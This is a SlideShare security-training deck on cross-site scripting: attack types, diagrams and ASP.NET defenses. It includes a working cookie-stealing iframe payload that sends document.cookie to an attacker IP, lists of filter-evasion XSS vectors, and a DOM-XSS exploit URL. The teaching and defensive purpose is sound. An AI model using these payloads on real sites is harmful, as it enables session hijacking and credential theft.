SlideShare a Scribd company logo
1 of 50
XSS – Attacks & Defense
Cross Site Scripting
• A user’s credentials may be recovered by
another user.
• Inject client-side code as part of data content
stored on the server side.
– e.g. Javascript
• When a user views the stored content, the
client-side code executes on browser.
• Transmit the current credentials to the
attacker.
XSS types
• XSS is of three types
– Persistent
– Non Persistent
– DOM based
Non-persistent XSS
• Application echo backs response
• It can be over GET or POST
• Very common with application developers
• Features like search is common place for it
• Error handling routines are vulnerable to it as
well
• Attacker can inject stream in it
• Various tags can be injected
Non-persistent XSS
• Attack vectors are common
• Exploitation is possible
• Session hijacking with cookie retrieval is most
popular ways
• Links coming in the mail or social sites can
lead to XSS
• It is also known as type 1 OR reflected XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
NAME VALUE
username saumil
NAME VALUE
username arthur
inject <IFRAME> javascript
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
GET /SESSID=84658734652 HTTP/1.0
(happens automatically)
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
SESSID=84658734652
What to inject - IFRAME example
• Inject a 1x1 floating frame:
• When the frame is loaded, it will cause the
browser to make an automatic request.
• Requesting URL
http://192.168.7.41:8008/<cookie_value>
<script>document.write(“<iframe
src=”http://192.168.7.41:8008/”+document.cookie+””
width=1 height=1 frameborder=0></iframe>”);</script>
Persistent XSS
• In this XSS vector, attacker gets write access
on the application
• If application page can be loaded with
malicious code
• This code accessed by victim
• Code gets executed on the client machine
• XSS – credential stealing
• Examples – bulletin board, blogs etc.
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
NAME VALUE
username saumil
NAME VALUE
username arthur
inject <IFRAME> javascript
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
GET /SESSID=84658734652 HTTP/1.0
(happens automatically)
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
SESSID=84658734652
XSS injection vectors
• Applications are filtering certain traffic
• Popular tags are filtered out as well
• Character filtering is in place
• There are various ways to inject vectors.
XSS vector
• ';alert(String.fromCharCode(88,83,83))//';aler
t(String.fromCharCode(88,83,83))//";alert(Stri
ng.fromCharCode(88,83,83))//";alert(String.fr
omCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromChar
Code(88,83,83))</SCRIPT>
• '';!--"<XSS>=&{()}
XSS vector
• <SCRIPT SRC=http://url/xss.js></SCRIPT>
• <IMG SRC="javascript:alert('XSS');">
• <IMG SRC=javascript:alert('XSS')>
• <IMG SRC=JaVaScRiPt:alert('XSS')>
• <IMG SRC=javascript:alert(&quot;XSS&quot;)>
• <IMG SRC=`javascript:alert("XSS")`>
• Image tag malformed - <IMG
"""><SCRIPT>alert("XSS")</SCRIPT>">
XSS vector
• <IMG
SRC=javascript:alert(String.fromCharCode(88,
83,83))>
• Unicode encoding - <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;
&#114;&#105;&#112;&#116;&#58;&#97;&#1
08;&#101;&#114;&#116;&#40;&#39;&#88;&#
83;&#83;&#39;&#41;>
XSS vector
• UTF-8 - <IMG
SRC=&#0000106&#0000097&#0000118&#000
0097&#0000115&#0000099&#0000114&#000
0105&#0000112&#0000116&#0000058&#000
0097&#0000108&#0000101&#0000114&#000
0116&#0000040&#0000039&#0000088&#000
0083&#0000083&#0000039&#0000041>
XSS vector
• Hex - <IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&
#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&
#x65&#x72&#x74&#x28&#x27&#x58&#x53&#
x53&#x27&#x29>
• XSS breakup - <IMG SRC="jav
ascript:alert('XSS');">
• <IMG SRC="jav&#x09;ascript:alert('XSS');">
XSS vector
• <IMG SRC="jav&#x0A;ascript:alert('XSS');">
(line feed)
• <IMG SRC="jav&#x0D;ascript:alert('XSS');">
(carriage return)
• Multi-line injection
XSS vector
• <INPUT TYPE="IMAGE"
SRC="javascript:alert('XSS');">
• <BODY
BACKGROUND="javascript:alert('XSS')">
• <BODY ONLOAD=alert('XSS')>
• BR, Layer etc.
• <LINK REL="stylesheet"
HREF="javascript:alert('XSS');">
• HTTP-Equiv
XSS vector
• Iframe, Frameset & Table(background)
• Base tag
• Object tag XSS
• Embed – with flash
• XML namespace injection
• XML ID, SRC etc.
DOM based XSS
• Ajax based XSS is relatively new way of
attacking the client
• Code written on browser end can be
vulnerable to this attacks
• Various different structures can have their
own confusion
• Information processing from un-trusted
sources can lead to XSS
DOM based XSS
• Stream can be injected into the Ajax routine
• If function is vulnerable to XSS then it
executes the script
• Script can be coming in various forms
• Web 2.0 applications are consuming various
scripts and that makes it vulnerable to this set
of attacks
DOM based XSS
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf(“user=")+5;
document.write(document.URL.substring(pos,document.URL.
length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
DOM based XSS
http://www.target.com/profile.html?user=Jack
Exploit -
http://www.target.com/profile.html?user=
<script>alert(document.cookie)</script>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
Third party source
Stream
eval()
XSS
DOM based XSS
if (http.readyState == 4) {
var response = http.responseText;
var p = eval("(" + response + ")");
document.open();
document.write(p.firstName+"<br>");
document.write(p.lastName+"<br>");
document.write(p.phoneNumbers[0]);
document.close();
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
XML
Stream
eval()
XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
JSON
Stream
eval()
XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
JS-Object / JS-Array / JS-Script
Stream
eval()
XSS
DOM based XSS
document.write(…)
document.writeln(…)
document.body.innerHtml=…
document.forms[0].action=…
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …
window.attachEvent(…)
document.location=…
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
DOM based XSS
document.open(…)
window.open(…)
window.location.href=… (and assigning to
location’s href, host and hostname)
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
Exploit and testing framework
• There are testing framework for XSS which
can be used during the testing
• CAL9000 – OWASP project
• BeeF – Browser exploit framework
• XSSproxy
• Few other out there
Securing XSS
Prevent XSS
• Design Strategy
• Validate Input.
• Encode output variable data.
• Sanitizing Free Format Input.
• Set the correct character encoding.
• Use the ASP.NET validateRequest option.
• Use the HttpOnly cookie option.
• Use the <frame> security attribute.
• Use the innerText property.
Prevent XSS
• Encode output using HtmlEncode /
URLEncode methods.
• Do this even for user input, a database, or
a local file.
The HtmlEncode method replaces characters that have special meaning in
HTML to HTML variables that represent those characters. For example, <
is replaced with &lt and " is replaced with &quot. Encoded data does
not cause the browser to execute code. Instead, the data is rendered as
harmless HTML.
Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
Prevent XSS
• Data-Bound Controls: DataGrid, DataList,
RadioButtonList and CheckBoxList do not
perform encoding,
• Turn all columns into templates and
manually use HtmlEncode()/UrlEncode() on
each call to DataBinder.Eval
• Override one of its DataBinding methods,
such as OnDatabinding or
OnItemDataBound and perform encoding
on its items.
Prevent XSS
• Allow Safe HTML like comments, blog
fields,
• Process it with HtmlEncode
• Remove encoding on selected safe
HTML tags
StringBuilder sb = new StringBuilder( HttpUtility.HtmlEncode(userInput)
) ;
sb.Replace("&lt;b&gt;", "<b>");
sb.Replace("&lt;/b&gt;", "</b>");
sb.Replace("&lt;i&gt;", "<i>");
sb.Replace("&lt;/i&gt;", "</i>");
Response.Write(sb.ToString());
Prevent XSS
• Set the Correct Character Encoding,
• Application / Page level
<meta http-equiv="Content Type"
content="text/html; charset=ISO-8859-1" />
OR
<% @ Page ResponseEncoding="ISO-8859-1" %>
To set the character encoding in Web.config, use the following
configuration:
<configuration>
<system.web>
<globalization
requestEncoding="ISO-8859-1"
responseEncoding="ISO-8859-1"/>
</system.web>
</configuration>
Prevent XSS
• Validating Unicode Characters,
using System.Text.RegularExpressions;
private void Page_Load(object sender, System.EventArgs e)
{
// Name must contain between 1 and 40 alphanumeric characters
// together with (optionally) special characters '`' for names such
// as D'Angelo
if (!Regex.IsMatch(Request.Form["name"], @"^[p{L}p{Zs}p{Lu}p{Ll}']{1,40}$"))
throw new ArgumentException("Invalid name parameter");
}
•{<name>} specifies a named Unicode character class.
•p{<name>} matches any character in the named character class specified by
{<name>}.
•{L} performs a left-to-right match.
•{Lu} performs a match of uppercase.
•{Ll} performs a match of lowercase.
•{Zs} matches separator and space.
•{1,40} means no less that 1 and no more than 40 characters.
•{Mn} matches mark and non-spacing characters.
•{Zs} matches separator and space.
•* specifies zero or more matches.
•$ means stop looking at this position.
Prevent XSS
• Use the ASP.NET validateRequest
Option,
• By default, it is TRUE
• Instruct ASP.NET to check for
malicious inputs like <script>, etc.
<% @ Page validateRequest="True" %>;
Prevent XSS
• Use the HttpOnly Cookie Option.
• prevents client-side script from
accessing the cookie from the
document.cookie property
protected void Application_EndRequest(Object sender, EventArgs e)
{
string authCookie = FormsAuthentication.FormsCookieName;
foreach (string sCookie in Response.Cookies)
{
if (sCookie.Equals(authCookie))
{
// Force HttpOnly to be added to the cookie header
Response.Cookies[sCookie].Path += ";HttpOnly";
}
}
}
Prevent XSS
• Use the <frame> Security Attribute,
• Use the innerText property instead of
innerHTML property.
<frame security="restricted"
src="http://www.somesite.com/somepage.htm"></frame>
Prevent XSS
• Use AntiXSS library,
//bad code
String Name = Request.QueryString["Name"];
//code with antixss library
String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);
namespace Microsoft.Application.Security
{
public class AntiXss
{
public static string HtmlEncode(string s);
public static string HtmlAttributeEncode(string s);
public static string JavaScriptEncode(string s);
public static string UrlEncode(string s);
public static string VisualBasicScriptEncode(string
s);
public static string XmlEncode(string s);
public static string XmlAttributeEncode(string s);
}
}
Conclusion

More Related Content

What's hot

Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesMarco Morana
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseSurya Subhash
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101Paul Ionescu
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraMathias Karlsson
 
Sql injection
Sql injectionSql injection
Sql injectionZidh
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCSuvash Shah
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopPaul Ionescu
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internetRohan Bharadwaj
 
Cross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting ExplainedCross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting ExplainedValency Networks
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentationAlbena Asenova-Belal
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 

What's hot (20)

Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Web application security
Web application securityWeb application security
Web application security
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
XSS
XSSXSS
XSS
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
Sql injection
Sql injectionSql injection
Sql injection
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa Workshop
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internet
 
Cross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting ExplainedCross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting Explained
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 

Viewers also liked

Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)KageShiron
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりHiroshi Tokumaru
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門Hiroshi Tokumaru
 
条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化Takuya Ueda
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くHiroshi Tokumaru
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則Hiroshi Tokumaru
 

Viewers also liked (6)

Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
 
条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
 

Similar to XSS - Attacks & Defense

15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xssappsec
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Meteor Meets Mallory
Meteor Meets MalloryMeteor Meets Mallory
Meteor Meets MalloryEmily Stark
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10Sastry Tumuluri
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
VodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadvodQA
 

Similar to XSS - Attacks & Defense (20)

Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Meteor Meets Mallory
Meteor Meets MalloryMeteor Meets Mallory
Meteor Meets Mallory
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Day8
Day8Day8
Day8
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
Ultimate xss
Ultimate xssUltimate xss
Ultimate xss
 
VodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkad
 

More from Blueinfy Solutions

Mobile Application Scan and Testing
Mobile Application Scan and TestingMobile Application Scan and Testing
Mobile Application Scan and TestingBlueinfy Solutions
 
Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseBlueinfy Solutions
 
Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013Blueinfy Solutions
 
iOS Application Security Testing
iOS Application Security TestingiOS Application Security Testing
iOS Application Security TestingBlueinfy Solutions
 
Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application ReviewBlueinfy Solutions
 
Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and SecurityBlueinfy Solutions
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SASTBlueinfy Solutions
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionBlueinfy Solutions
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationBlueinfy Solutions
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approachBlueinfy Solutions
 
HTTP protocol and Streams Security
HTTP protocol and Streams SecurityHTTP protocol and Streams Security
HTTP protocol and Streams SecurityBlueinfy Solutions
 

More from Blueinfy Solutions (20)

Mobile Application Scan and Testing
Mobile Application Scan and TestingMobile Application Scan and Testing
Mobile Application Scan and Testing
 
Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defense
 
Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013
 
iOS Application Security Testing
iOS Application Security TestingiOS Application Security Testing
iOS Application Security Testing
 
Html5 on mobile
Html5 on mobileHtml5 on mobile
Html5 on mobile
 
Android secure coding
Android secure codingAndroid secure coding
Android secure coding
 
Android attacks
Android attacksAndroid attacks
Android attacks
 
Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application Review
 
Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and Security
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SAST
 
HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Defending against Injections
Defending against InjectionsDefending against Injections
Defending against Injections
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal Injection
 
Blind SQL Injection
Blind SQL InjectionBlind SQL Injection
Blind SQL Injection
 
Application fuzzing
Application fuzzingApplication fuzzing
Application fuzzing
 
SQL injection basics
SQL injection basicsSQL injection basics
SQL injection basics
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approach
 
HTTP protocol and Streams Security
HTTP protocol and Streams SecurityHTTP protocol and Streams Security
HTTP protocol and Streams Security
 

Recently uploaded

The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
